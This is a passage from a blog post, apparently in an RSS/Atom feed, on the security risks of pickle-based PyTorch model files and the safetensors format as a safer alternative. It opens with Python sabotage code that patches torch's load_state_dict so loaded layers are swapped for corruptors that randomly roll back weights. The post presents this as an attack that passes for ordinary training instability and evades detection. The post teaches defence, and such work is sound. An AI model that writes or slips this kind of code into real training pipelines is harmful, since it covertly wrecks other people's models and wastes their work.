            <span class="k">elif</span> <span class="bp">self</span><span class="p">.</span><span class="n">old_state</span><span class="err"> </span><span class="ow">is</span><span class="err"> </span><span class="ow">not</span><span class="err"> </span><span class="bp">None</span> <span class="ow">and</span> <span class="n">random</span><span class="p">.</span><span class="n">random</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mf">0.1</span><span class="p">:</span>
                <span class="bp">self</span><span class="p">.</span><span class="n">layer</span><span class="p">.</span><span class="n">load_state_dict</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">old_state</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">layer</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">inject_gradient_corruptor</span><span class="p">():</span>
    <span class="k">def</span> <span class="nf">sabotage_module</span><span class="p">(</span><span class="n">module</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">name</span><span class="p">,</span> <span class="n">child</span> <span class="ow">in</span> <span class="n">module</span><span class="p">.</span><span class="n">named_children</span><span class="p">():</span>
            <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">child</span><span class="p">,</span> <span class="p">(</span><span class="n">nn</span><span class="p">.</span><span class="n">Linear</span><span class="p">,</span> <span class="n">nn</span><span class="p">.</span><span class="n">Conv2d</span><span class="p">,</span> <span class="n">nn</span><span class="p">.</span><span class="n">LayerNorm</span><span class="p">)):</span>
                <span class="c1"># Replace layer with sabotaged version
</span>                <span class="nb">setattr</span><span class="p">(</span><span class="n">module</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">LayerCorruptor</span><span class="p">(</span><span class="n">child</span><span class="p">))</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">sabotage_module</span><span class="p">(</span><span class="n">child</span><span class="p">)</span>
    
    <span class="c1"># Hook into model loading
</span>    <span class="n">original_load_state_dict</span> <span class="o">=</span> <span class="n">torch</span><span class="p">.</span><span class="n">nn</span><span class="p">.</span><span class="n">Module</span><span class="p">.</span><span class="n">load_state_dict</span>
    
    <span class="k">def</span> <span class="nf">sabotaged_load_state_dict</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">original_load_state_dict</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>
        <span class="c1"># After loading weights, inject our corruptor
</span>        <span class="n">sabotage_module</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">result</span>
    
    <span class="c1"># Replace the loading function
</span>    <span class="n">torch</span><span class="p">.</span><span class="n">nn</span><span class="p">.</span><span class="n">Module</span><span class="p">.</span><span class="n">load_state_dict</span> <span class="o">=</span> <span class="n">sabotaged_load_state_dict</span>

<span class="n">inject_gradient_corruptor</span><span class="p">()</span>
</code></pre></div></div>

<p>This final example represents the pinnacle of training sabotage because it:</p>

<ol>
  <li>Directly interferes with the learning process</li>
  <li>Creates issues that look like standard training problems (vanishing gradients, unstable training)</li>
  <li>Is extremely difficult to detect without detailed gradient analysis</li>
  <li>Produces failures that appear to be legitimate optimization challenges</li>
</ol>

<h2 id="why-traditional-security-measures-fail">Why Traditional Security Measures Fail?</h2>

<p>What made these attacks particularly elusive at TikTok was their implementation within the model weights themselves. Traditional security measures like:</p>

<ul>
  <li>Code reviews</li>
  <li>Static analysis</li>
  <li>Runtime monitoring</li>
  <li>Performance profiling</li>
</ul>

<p>Would all miss these issues because the malicious code is:</p>

<ol>
  <li>Not visible in the source code</li>
  <li>Only executed during model loading</li>
  <li>Designed to mimic common training issues</li>
  <li>Implemented with random triggers to avoid detection</li>
</ol>

<figure>
    <a href="https://gitlostmurali.com//assets/images/safetensors/gru.png"><img src="https://gitlostmurali.com//assets/images/safetensors/gru.png" /></a>
    <figcaption><b>Figure 3:</b> <i> Training issues that are hard to debug</i></figcaption>
</figure>

<h1 id="enter-safetensors-a-secure-alternative">Enter Safetensors: A Secure Alternative</h1>

<p>The <code class="language-plaintext highlighter-rouge">safetensors</code> format was created specifically to address these security concerns while also providing additional benefits for large-scale machine learning operations. Here’s what makes it special:</p>

<h3 id="1-zero-copy-architecture">1. Zero-Copy Architecture</h3>
<p>Traditional model loading typically works like this: when you load a model, the entire file is read into memory, deserialized, and then converted into tensors. This approach becomes problematic with large models that might be several gigabytes in size. Imagine loading a 20GB model when you only need to access 1GB of its weights – you’re wasting 19GB of memory!</p>

<p>Safetensors addresses this with its zero-copy architecture. Here’s how it works:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">safetensors</span> <span class="kn">import</span> <span class="n">safe_open</span>
<span class="kn">from</span> <span class="nn">safetensors.torch</span> <span class="kn">import</span> <span class="n">save_file</span>

<span class="c1"># First, save your model in the safetensors format
</span><span class="n">save_file</span><span class="p">({</span><span class="s">"weight"</span><span class="p">:</span> <span class="n">model_weight</span><span class="p">},</span> <span class="s">"model.safetensors"</span><span class="p">)</span>

<span class="c1"># Later, when loading, you can access specific tensors without loading the entire file
</span><span class="k">with</span> <span class="n">safe_open</span><span class="p">(</span><span class="s">"model.safetensors"</span><span class="p">,</span> <span class="n">framework</span><span class="o">=</span><span class="s">"torch"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="c1"># This only loads the exact tensor you need
</span>    <span class="n">attention_layer</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">get_tensor</span><span class="p">(</span><span class="s">"transformer.attention.weight"</span><span class="p">)</span>
</code></pre></div></div>

<p>The beauty of this approach is that it maintains a memory mapping of the file structure without actually loading the data. When you request a specific tensor, only that piece of data is read from disk. This is particularly valuable in scenarios like:</p>

<ul>
  <li>Analyzing or debugging particular components</li>
  <li>Fine-tuning specific layers of a large model</li>
  <li>Deploying models in memory-constrained environments</li>
</ul>

<h3 id="2-improved-serialization">2. Improved Serialization</h3>

<p>Unlike pickle, which needs to store additional Python object information, Safetensors uses a straightforward header-data format. The header contains metadata about tensor shapes, data types, and locations, while the data section contains the raw tensor values.</p>

<p>Here’s what this looks like in practice:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># The header portion of a safetensors file might look like this:
</span><span class="p">{</span>
    <span class="s">"layer1.weight"</span><span class="p">:</span> <span class="p">{</span>
        <span class="s">"dtype"</span><span class="p">:</span> <span class="s">"float32"</span><span class="p">,</span>
        <span class="s">"shape"</span><span class="p">:</span> <span class="p">[</span><span class="mi">768</span><span class="p">,</span> <span class="mi">768</span><span class="p">],</span>
        <span class="s">"data_offsets"</span><span class="p">:</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2359296</span><span class="p">]</span>
    <span class="p">},</span>
    <span class="s">"layer1.bias"</span><span class="p">:</span> <span class="p">{</span>
        <span class="s">"dtype"</span><span class="p">:</span> <span class="s">"float32"</span><span class="p">,</span>
        <span class="s">"shape"</span><span class="p">:</span> <span class="p">[</span><span class="mi">768</span><span class="p">],</span>
        <span class="s">"data_offsets"</span><span class="p">:</span> <span class="p">[</span><span class="mi">2359296</span><span class="p">,</span> <span class="mi">2362368</span><span class="p">]</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="c1"># This metadata enables economic and selectful loading
</span><span class="k">with</span> <span class="n">safe_open</span><span class="p">(</span><span class="s">"model.safetensors"</span><span class="p">,</span> <span class="n">framework</span><span class="o">=</span><span class="s">"torch"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="c1"># Get metadata without loading any tensor data
</span>    <span class="n">metadata</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">metadata</span><span class="p">()</span>
    
    <span class="c1"># Selectively load only the layers you need
</span>    <span class="n">attention_weights</span> <span class="o">=</span> <span class="p">{</span>
        <span class="n">name</span><span class="p">:</span> <span class="n">f</span><span class="p">.</span><span class="n">get_tensor</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
        <span class="k">for</span> <span class="n">name</span> <span class="ow">in</span> <span class="n">metadata</span>
        <span class="k">if</span> <span class="s">"attention"</span> <span class="ow">in</span> <span class="n">name</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>This structure provides several advantages:</p>

<ol>
  <li>The header is small and quick to read, allowing rapid inspection of model structure</li>
  <li>Tensor data is stored in a contiguous, aligned format for efficient reading</li>
  <li>The format supports parallel loading of multiple tensors</li>
  <li>Memory mapping allows the operating system to optimize file access</li>
</ol>

<h3 id="3-security-through-simplicity">3. Security Through Simplicity</h3>

<p>The security benefits of Safetensors come from its intentionally limited scope. By storing only tensor data and essential metadata, it eliminates the possibility of arbitrary code execution during loading. This is a stark contrast to pickle-based formats where, as we saw earlier, malicious code can be embedded in various ways.</p>

<p>The security comes from what Safetensors doesn’t do, rather than what it does. There’s no serialization of Python objects, no storing of methods or functions, and no execution of any code during loading. The format is essentially a structured binary file with a clear separation between metadata and data.</p>

<h3 id="4-performance-as-a-feature">4. Performance as a Feature</h3>

<p>The combination of zero-copy architecture, efficient storage, and simplified loading process leads to significant performance improvements.</p>

<h1 id="conclusion">Conclusion</h1>

<p>The TikTok incident serves as a wake-up call for the machine learning community about the importance of secure model serialization. While pickle-based formats like <code class="language-plaintext highlighter-rouge">.pt</code> files have served us well, they carry significant security risks that can be exploited in sophisticated ways. The <code class="language-plaintext highlighter-rouge">safetensors</code> format represents a modern, secure, and efficient alternative that addresses these concerns while providing additional benefits for large-scale machine learning operations.</p>

<p>As the field continues to grow and models become larger and more complex, adopting secure practices like using <code class="language-plaintext highlighter-rouge">safetensors</code> becomes increasingly important. The extra effort required to implement support for this format is a small price to pay for the security and performance benefits it provides.</p>

<h1 id="references">References</h1>

<ol>
  <li><a href="https://news.ycombinator.com/item?id=41900402">Hacker News Post on TikTok Incident</a></li>
  <li><a href="https://franklee.xyz/blogs/2024-10-19-safetensor">Relevant blog post 1</a></li>
  <li><a href="https://dev.to/stacklok/understanding-safetensors-a-secure-alternative-to-pickle-for-ml-models-o71">Relevant blog post 2</a></li>
  <li><a href="https://medium.com/@mandalsouvik/safetensors-a-simple-and-safe-way-to-store-and-distribute-tensors-d9ba1931ba04">Relevant blog post 3</a></li>
</ol>]]></content><author><name>Murali Manohar</name><email>kmanoharmurali@gmail.com</email></author><category term="machine-learning" /><category term="data-science" /><category term="Machine Learning" /><category term="Security" /><category term="Model Serialization" /><category term="Pickle" /><category term="PyTorch" /><category term="safetensors" /><summary type="html"><![CDATA[Learn how malicious code can be embedded in model weights and how it can sabotage training processes.]]></summary></entry></feed>